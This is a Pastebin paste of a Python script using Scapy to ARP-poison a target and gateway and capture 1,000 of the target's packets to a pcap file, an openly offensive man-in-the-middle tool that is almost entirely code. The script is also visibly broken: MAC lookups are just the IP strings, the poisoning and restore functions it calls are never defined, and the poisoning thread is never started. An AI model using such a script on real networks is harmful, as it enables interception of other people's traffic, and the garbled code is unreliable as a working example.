Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from scapy.all import *
- import os
- import sys
- import threading
- import signal
- # Enter your own wifi interface
- interface = "TAP-Windows Adapter V9"
- target_ip = input("Enter target ip >> ")
- gateway_ip = input("Enter gateway ip >> ")
- packet_count = 1000
- conf.iface = interface
- conf.verb = 0
- print ("[*] Setting up %s" % interface)
- gateway_mac = (gateway_ip)
- if gateway_mac is None:
- print("[!][!][!] Failed to get gateway Mac. Exiting.")
- sys.exit(0)
- else:
- print ("[*] gateway %s is at %s" % (gateway_ip,gateway_mac))
- target_mac = (target_ip)
- if target_mac is None:
- print ("[!!!] Failed to get target MAC. Exiting.")
- sys.exit(0)
- else:
- print ("[*] Target %s is at %s" % (target_ip,target_mac))
- def poison_thread():
- poison_thread = threading.Thread(target = poison_target, args =
- (gateway_ip, gateway_mac, target_ip,target_mac))
- poison_thread.start()
- try:
- print ("[*] Starting sniffer for %d packets" % (packet_count))
- bpf_filter = "ip host %s" % target_ip
- packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
- wrpcap('arper.pcap',packets)
- restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
- except KeyboardInterrupt:
- restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
- sys.exit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement